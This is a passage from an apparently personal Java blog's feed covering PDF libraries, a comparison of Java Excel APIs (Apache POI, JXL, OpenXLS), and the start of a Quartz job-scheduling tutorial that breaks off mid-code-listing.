&lt;p&gt;&lt;strong&gt;Apache FOP&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Apache FOP (Formatting Objects Processor) is a print formatter driven
by XSL formatting objects (XSL-FO) and an output independent formatter.
It is a Java application that reads a formatting object (FO) tree and
renders the resulting pages to a specified output. Output formats
currently supported include PDF, PS, PCL, AFP, XML (area tree
representation), Print, AWT and PNG, and to a lesser extent, RTF and
TXT. The primary output target is PDF.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;iText&lt;/strong&gt; &amp;gt; iText is an open source library that
allows you to create and manipulate PDF documents. It enables developers
looking to enhance web and other applications with dynamic PDF document
generation and/or manipulation.” &amp;gt; - http://itextpdf.com/&lt;/p&gt;
&lt;h4 id="references"&gt;References&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="uri" href="http://pd4ml.com/api/index.html"&gt;http://pd4ml.com/api/index.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="uri" href="http://pd4ml.com/index.htm"&gt;http://pd4ml.com/index.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Software-Engineering"/><category term="pd4ml"/><category term="java"/></entry><entry><title>Spreadsheet generation using Java libraries</title><link href="https://sengopal.me/posts/spreadsheet-generation-using-java-libraries" rel="alternate"/><published>2009-09-23T00:00:00-07:00</published><updated>2009-09-23T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2009-09-23:/posts/spreadsheet-generation-using-java-libraries</id><summary type="html">In a recent working session, some of the best practices for a secure Android application development were discussed. Following were some of the important aspects of the discussion. Other the usual standards of securing the APK and securing the server-side components, some of the development and secure coding practices are listed in this post.</summary><content type="html">&lt;h3 id="introduction"&gt;Introduction&lt;/h3&gt;
&lt;p&gt;Web Asset Tracker (WATr) is a web application which was mainly used
to maintain various asset information using a RDBMS database. There rose
a specific requirement where the application needs to render the data in
a downloadable spreadsheet. The following post documents the comparison
of leading industry frameworks for creating MS-Excel Spreadsheets using
Java. ### Purpose The purpose of this document is to list out the usage
and pros/cons of the following Excel Java APIs: 1. Apache POI 2. Java
Excel API [JXL] 3. OpenXLS [Product of ExtenXLS]&lt;/p&gt;
&lt;h3 id="scope"&gt;Scope&lt;/h3&gt;
&lt;p&gt;For comparison of the JS frameworks, the following list of criteria
were used&lt;/p&gt;
&lt;p&gt;The API should have the ability&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;to read existing Spreadsheets in MS-Excel 97, 2000, XP, 2003 and
2007 formats&lt;/li&gt;
&lt;li&gt;to read existing Spreadsheets in ODS [OpenOffice.org Calc
Spreadsheet] formats&lt;/li&gt;
&lt;li&gt;provide interoperability between various formats/versions&lt;/li&gt;
&lt;li&gt;to edit existing Spreadsheets in the above mentioned formats&lt;/li&gt;
&lt;li&gt;to create new spreadsheets in the above mentioned formats&lt;/li&gt;
&lt;li&gt;to preserve and create formula and functions on various
worksheets&lt;/li&gt;
&lt;li&gt;to manipulate multiple worksheets within a workbook&lt;/li&gt;
&lt;li&gt;to manipulate, create and edit chart information&lt;/li&gt;
&lt;li&gt;to freeze and split panes&lt;/li&gt;
&lt;li&gt;to format cells,cell patterns, fonts and borders&lt;/li&gt;
&lt;li&gt;for row and column sizing, formatting, auto-sizing, insertion and
deletion&lt;/li&gt;
&lt;li&gt;for cell validations and named ranges&lt;/li&gt;
&lt;li&gt;for row and column grouping and collapsing&lt;/li&gt;
&lt;li&gt;to draw shapes using the microsoft office drawing tools&lt;/li&gt;
&lt;li&gt;to add cell comments&lt;/li&gt;
&lt;li&gt;to define printable formats and printing headers/footers&lt;/li&gt;
&lt;li&gt;to add embeddable objects&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The API should also possess 1. Matured Documentation, Tutorials and
Examples 2. Many adaptations 3. Active development and community
support&lt;/p&gt;
&lt;h4 id="apache-poi"&gt;Apache POI&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Apache POI, a project run by the Apache Software Foundation, and
previously a sub-project of the Jakarta Project, provides pure Java
libraries for reading and writing files in Microsoft Office formats,
such as Word, PowerPoint and Excel. The name was originally an acronym
for “Poor Obfuscation Implementation”, referring humorously to the fact
that the file formats seemed to be deliberately obfuscated, but poorly,
since they were successfully reverse-engineered. This explanation - and
those of the similar names for the various sub-projects - were removed
from the official web-pages in order to better market the tools to
businesses who would not consider such humour appropriate. The POI
project is the master project for developing pure Java ports of file
formats based on Microsoft’s OLE 2 Compound Document Format. OLE 2
Compound Document Format is used by Microsoft Office Documents, as well
as by programs using MFC property sets to serialize their document
objects. - Wikipedia&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The various components of the Apache POI API are:&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;POIFS is the set of APIs for reading and writing OLE 2 Compound
Document Formats using (only) Java.&lt;/li&gt;
&lt;li&gt;HSSF and XSSF are the set of APIs for reading and writing Microsoft
Excel 97-2007 and OOXML spreadsheets using (only) Java.&lt;/li&gt;
&lt;li&gt;HWPF is the set of APIs for reading and writing Microsoft Word
97(-XP) documents using (only) Java.&lt;/li&gt;
&lt;li&gt;HSLF is the set of APIs for reading and writing Microsoft PowerPoint
97(-XP) documents using (only) Java.&lt;/li&gt;
&lt;li&gt;HPSF is the set of APIs for reading property sets using (only)
Java.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="java-excel-api"&gt;Java Excel API&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;Java Excel API is a mature, open source java API enabling developers
to read, write, and modifiy Excel spreadsheets dynamically. Now java
developers can read Excel spreadsheets, modify them with a convenient
and simple API, and write the changes to any output stream (e.g. disk,
HTTP, database, or any socket). - Wikipedia&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Some of the available features are: 1. Reads data from Excel 95, 97,
2000, XP, and 2003 workbooks 2. Reads and writes formulas (Excel 97 and
later only) 3. Generates spreadsheets in Excel 2000 format 4. Supports
font, number and date formatting 5. Supports shading, bordering, and
coloring of cells 6. Modifies existing worksheets 7. Supports copying of
charts 8. Supports insertion and copying of images into spreadsheets 9.
Supports logging with Jakarta Commons Logging, log4j, JDK 1.4 Logger,
etc&lt;/p&gt;
&lt;h4 id="limitations"&gt;Limitations&lt;/h4&gt;
&lt;ol type="1"&gt;
&lt;li&gt;JExcelApi does not generate or chart, graph or macro information.
This information is however preserved when spreadsheets are copied&lt;/li&gt;
&lt;li&gt;When adding images to a sheet, only PNG image formats are
supported&lt;/li&gt;
&lt;li&gt;jexcel fails fatally when encountering invalid formulas, so parsing
client supplied spreadsheets might be a problem&lt;/li&gt;
&lt;li&gt;Poor Documentation for any of the advanced features like validation
lists, column and cell formatting&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="openxls-api"&gt;OpenXLS API&lt;/h4&gt;
&lt;p&gt;OpenXLS is the open-source version of ExtenXLS (commercial Java
SDK)&lt;/p&gt;
&lt;p&gt;Some of the available features are:&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Compatible with Excel ’97-2003 file formats&lt;/li&gt;
&lt;li&gt;Control over charts, formulas, and formatting from Java&lt;/li&gt;
&lt;li&gt;Based on robust ExtenXLS 6 Codebase&lt;/li&gt;
&lt;li&gt;Drop-in upgradability to ExtenXLS supported versions&lt;/li&gt;
&lt;li&gt;Good documentation, user guide, and sample code gets you up to speed
fast&lt;/li&gt;
&lt;li&gt;Insert, size, and position JPG, GIF, and PNG images in your
Spreadsheet files&lt;/li&gt;
&lt;li&gt;Control over spreadsheet formatting&lt;/li&gt;
&lt;li&gt;Preserves Charts, PivotTables&lt;/li&gt;
&lt;li&gt;Preservation of VB macros (NOTE: VB runtime execution not
supported)&lt;/li&gt;
&lt;li&gt;200+ Formula Functions Supported&lt;/li&gt;
&lt;li&gt;Create and work with Named Ranges&lt;/li&gt;
&lt;li&gt;Supports Merged Cells&lt;/li&gt;
&lt;li&gt;Convert Spreadsheets to XML and vice-versa&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="limitations-1"&gt;Limitations&lt;/h4&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Features are very less when compared with its commerical
counter-part.&lt;/li&gt;
&lt;li&gt;Support is not available either through an active community or the
organization&lt;/li&gt;
&lt;li&gt;Functions mostly like a spring board to use the commerical
version&lt;/li&gt;
&lt;li&gt;Does not support Excel 2007&lt;/li&gt;
&lt;li&gt;Does not support Open Office Spreadsheet format&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="application-integration"&gt;Application Integration&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Where we are trying to fit in this framework&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A Java Excel API should * should provide us with well documented and
mature API * hould provide us with extension points for providing our
own customizations&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How it is aligned with our current requirements&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A Java Excel API should * Provide us with ability to format Excel
sheets * Validation rules for cells/columns * Formula validation and
insertion&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is it going to be one-off (or) continued usage?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A Java Excel API should be such that * It can added as a plugin to
the framework * It makes the export / import functionality
implementation seamless * It has the capability to render images, charts
etc.,&lt;/p&gt;
&lt;h4 id="inferences"&gt;Inferences&lt;/h4&gt;
&lt;p&gt;The inferences gained from performing this comparison:&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;JXL can be used for faster rendering, however will fail in terms of
huge data sets or failed formulae&lt;/li&gt;
&lt;li&gt;OpenXLS acts just as a springboard to its commerical counterpart and
has limited functionality&lt;/li&gt;
&lt;li&gt;Apache POI has a matured and active community support with rapid
releases, good documentation and lots of features&lt;/li&gt;
&lt;li&gt;Apache POI also has functionalities for OpenOffice documents which
would help in transforming results in spreadsheet to other formats such
as PDF, Word or PPT&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With these criteria in mind and based on the scope provided,
&lt;strong&gt;Apache POI&lt;/strong&gt; was chosen to be integrated within the
framework.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: This is based upon reading the available documentation,
limited user experience and discussion forums&lt;/em&gt;&lt;/p&gt;
&lt;h4 id="references"&gt;References&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;http://poi.apache.org/&lt;/li&gt;
&lt;li&gt;http://poi.apache.org/spreadsheet/quick-guide.html&lt;/li&gt;
&lt;li&gt;https://olex.openlogic.com/packages/poi&lt;/li&gt;
&lt;li&gt;http://poi.apache.org/news.html&lt;/li&gt;
&lt;li&gt;http://jexcelapi.sourceforge.net/&lt;/li&gt;
&lt;li&gt;https://olex.openlogic.com/packages/jexcel-api&lt;/li&gt;
&lt;li&gt;http://www.extentech.com/estore/product_features.jsp?product_group_id=228&lt;/li&gt;
&lt;li&gt;http://sourceforge.net/projects/openxls/&lt;/li&gt;
&lt;/ul&gt;</content><category term="Software-Engineering"/><category term="java"/><category term="api"/><category term="library"/><category term="coding"/><category term="development"/></entry><entry><title>Job chaining using Quartz</title><link href="https://sengopal.me/posts/job-chaining-using-quartz" rel="alternate"/><published>2009-03-31T00:00:00-07:00</published><updated>2009-03-31T00:00:00-07:00</updated><author><name>Senthilkumar Gopal</name></author><id>tag:sengopal.me,2009-03-31:/posts/job-chaining-using-quartz</id><summary type="html">This post is about how we used Quartz library to chain jobs rather than scheduling for indeterminate running time. This post explains the development of the Job schedule and the code changes required.</summary><content type="html">&lt;h3 id="project-usage"&gt;Project Usage&lt;/h3&gt;
&lt;p&gt;Our Project had the requirement of reading a set of records from a
table which acts as a queue and sends the pending mails. This reading
/sending of mails has to happen every five minutes. However, since the
SMTP server needs to address online mailing at times, this job may run
more than the given five minutes. Also, if the number of records in the
table is high, the Job exceeds the expected time of completion of five
minutes. Hence it was decided to “chain” the jobs with a five minute
delay.&lt;/p&gt;
&lt;h3 id="introduction-to-quartz"&gt;Introduction to Quartz&lt;/h3&gt;
&lt;p&gt;Quartz is an open source job scheduling framework that provides
simple but powerful mechanisms for job scheduling in Java applications.
Quartz allows developers to schedule jobs by time interval or by time of
day. It implements many-to-many relationships for jobs and triggers and
can associate multiple jobs with different triggers. Applications that
incorporate Quartz can reuse jobs from different events and also group
multiple jobs for a single event. While you can configure Quartz through
a property file (in which you can specify a data source for JDBC
transactions, global job and/or trigger listeners, plug-ins, thread
pools, and more) it is not at all integrated with the application
server’s context or references.&lt;/p&gt;
&lt;h3 id="jobs-and-triggers"&gt;Jobs and triggers&lt;/h3&gt;
&lt;p&gt;The two fundamental units of Quartz’s scheduling package are jobs and
triggers. A job is an executable task that can be scheduled, while a
trigger provides a schedule for a job. While these two entities could
easily have been combined, their separation in Quartz is both
intentional and beneficial. By keeping the work to be performed separate
from its scheduling, Quartz allows you to change the scheduled trigger
for a job without losing the job itself, or the context around it. Also,
any singular job can have many triggers associated with it.&lt;/p&gt;
&lt;h3 id="simple-job-example"&gt;Simple Job Example&lt;/h3&gt;
&lt;p&gt;An example of a Quartz job is given below. This class overrides the
execute () (JobExecutionContext context) method with a very simple
output statement. This method can contain any code that constitutes the
job to be executed&lt;/p&gt;
&lt;div class="sourceCode" id="cb1"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb1-1"&gt;&lt;a aria-hidden="true" href="#cb1-1" tabindex="-1"&gt;&lt;/a&gt;SimpleQuartzJob&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;java&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-2"&gt;&lt;a aria-hidden="true" href="#cb1-2" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;java&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;util&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;Date&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-4"&gt;&lt;a aria-hidden="true" href="#cb1-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;Job&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-5"&gt;&lt;a aria-hidden="true" href="#cb1-5" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;JobExecutionContext&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-6"&gt;&lt;a aria-hidden="true" href="#cb1-6" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;JobExecutionException&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-7"&gt;&lt;a aria-hidden="true" href="#cb1-7" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb1-8"&gt;&lt;a aria-hidden="true" href="#cb1-8" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="kw"&gt;class&lt;/span&gt; SimpleQuartzJob &lt;span class="kw"&gt;implements&lt;/span&gt; Job &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-9"&gt;&lt;a aria-hidden="true" href="#cb1-9" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb1-10"&gt;&lt;a aria-hidden="true" href="#cb1-10" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="fu"&gt;SimpleQuartzJob&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-11"&gt;&lt;a aria-hidden="true" href="#cb1-11" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-12"&gt;&lt;a aria-hidden="true" href="#cb1-12" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb1-13"&gt;&lt;a aria-hidden="true" href="#cb1-13" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;void&lt;/span&gt; &lt;span class="fu"&gt;execute&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;JobExecutionContext context&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="kw"&gt;throws&lt;/span&gt; JobExecutionException &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-14"&gt;&lt;a aria-hidden="true" href="#cb1-14" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"In SimpleQuartzJob - executing its JOB at "&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-15"&gt;&lt;a aria-hidden="true" href="#cb1-15" tabindex="-1"&gt;&lt;/a&gt;                    &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Date&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="st"&gt;" by "&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; context&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getTrigger&lt;/span&gt;&lt;span class="op"&gt;().&lt;/span&gt;&lt;span class="fu"&gt;getName&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-16"&gt;&lt;a aria-hidden="true" href="#cb1-16" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-17"&gt;&lt;a aria-hidden="true" href="#cb1-17" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Notice that the execute method takes a JobExecutionContext object
as an argument. This object provides the runtime context around the job
instance. Specifically, it gives access to the scheduler and trigger,
which collaborated to initiate execution of the job as well as the job’s
JobDetail object. Quartz separates the execution and the surrounding
state of a job by placing the state in a JobDetail object and having the
JobDetail constructor initiate an instance of a job. The JobDetail
object stores the job’s listeners, group, data map, description, and
other properties of the job.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;####Simple Trigger Example A trigger develops a schedule for job
execution. Quartz offers a few different trigger options of varying
complexity. The SimpleTrigger given below shows the fundamentals of
triggers.&lt;/p&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;SimpleTriggerRunner&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;java&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb2-3"&gt;&lt;a aria-hidden="true" href="#cb2-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;JobDetail&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-4"&gt;&lt;a aria-hidden="true" href="#cb2-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;Scheduler&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-5"&gt;&lt;a aria-hidden="true" href="#cb2-5" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;SchedulerException&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-6"&gt;&lt;a aria-hidden="true" href="#cb2-6" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;Trigger&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-7"&gt;&lt;a aria-hidden="true" href="#cb2-7" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;TriggerUtils&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-8"&gt;&lt;a aria-hidden="true" href="#cb2-8" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;import&lt;/span&gt; &lt;span class="im"&gt;org&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;quartz&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;impl&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="im"&gt;StdSchedulerFactory&lt;/span&gt;&lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-9"&gt;&lt;a aria-hidden="true" href="#cb2-9" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb2-10"&gt;&lt;a aria-hidden="true" href="#cb2-10" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="kw"&gt;class&lt;/span&gt; Test&lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-11"&gt;&lt;a aria-hidden="true" href="#cb2-11" tabindex="-1"&gt;&lt;/a&gt;        &lt;span class="kw"&gt;public&lt;/span&gt; &lt;span class="dt"&gt;void&lt;/span&gt; &lt;span class="fu"&gt;scheduleTask&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="kw"&gt;throws&lt;/span&gt; SchedulerException &lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-12"&gt;&lt;a aria-hidden="true" href="#cb2-12" tabindex="-1"&gt;&lt;/a&gt;            &lt;span class="cf"&gt;try&lt;/span&gt;&lt;span class="op"&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-13"&gt;&lt;a aria-hidden="true" href="#cb2-13" tabindex="-1"&gt;&lt;/a&gt;                logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Starting the scheduler in Quartz"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-14"&gt;&lt;a aria-hidden="true" href="#cb2-14" tabindex="-1"&gt;&lt;/a&gt;                StdSchedulerFactory schedFact &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;StdSchedulerFactory&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-15"&gt;&lt;a aria-hidden="true" href="#cb2-15" tabindex="-1"&gt;&lt;/a&gt;                Scheduler sched &lt;span class="op"&gt;=&lt;/span&gt; schedFact&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getScheduler&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-16"&gt;&lt;a aria-hidden="true" href="#cb2-16" tabindex="-1"&gt;&lt;/a&gt;                logger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;info&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Scheduling a Tickler job in Quartz"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-17"&gt;&lt;a aria-hidden="true" href="#cb2-17" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb2-18"&gt;&lt;a aria-hidden="true" href="#cb2-18" tabindex="-1"&gt;&lt;/a&gt;                    &lt;span class="co"&gt;//Making a daily Trigger for the Job&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-19"&gt;&lt;a aria-hidden="true" href="#cb2-19" tabindex="-1"&gt;&lt;/a&gt;                Trigger simpleTrigger &lt;span class="op"&gt;=&lt;/span&gt; TriggerUtils&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;makeDailyTrigger&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;2&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bn"&gt;00&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-20"&gt;&lt;a aria-hidden="true" href="#cb2-20" tabindex="-1"&gt;&lt;/a&gt;                simpleTrigger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setName&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"SimpleQuartzTrigger"&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-21"&gt;&lt;a aria-hidden="true" href="#cb2-21" tabindex="-1"&gt;&lt;/a&gt;                simpleTrigger&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setGroup&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Scheduler&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;DEFAULT_GROUP&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-22"&gt;&lt;a aria-hidden="true" href="#cb2-22" tabindex="-1"&gt;&lt;/a&gt;                JobDetail simpleJob &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;JobDetail&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"SimpleQuartzJob"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; Scheduler&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;DEFAULT_GROUP&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; SimpleQuartzJob&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-23"&gt;&lt;a aria-hidden="true" href="#cb2-23" tabindex="-1"&gt;&lt;/a&gt;                sched&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;scheduleJob&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;simpleJob&lt;span class="op"&gt;,&lt;/span&gt;simpleTrigger&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
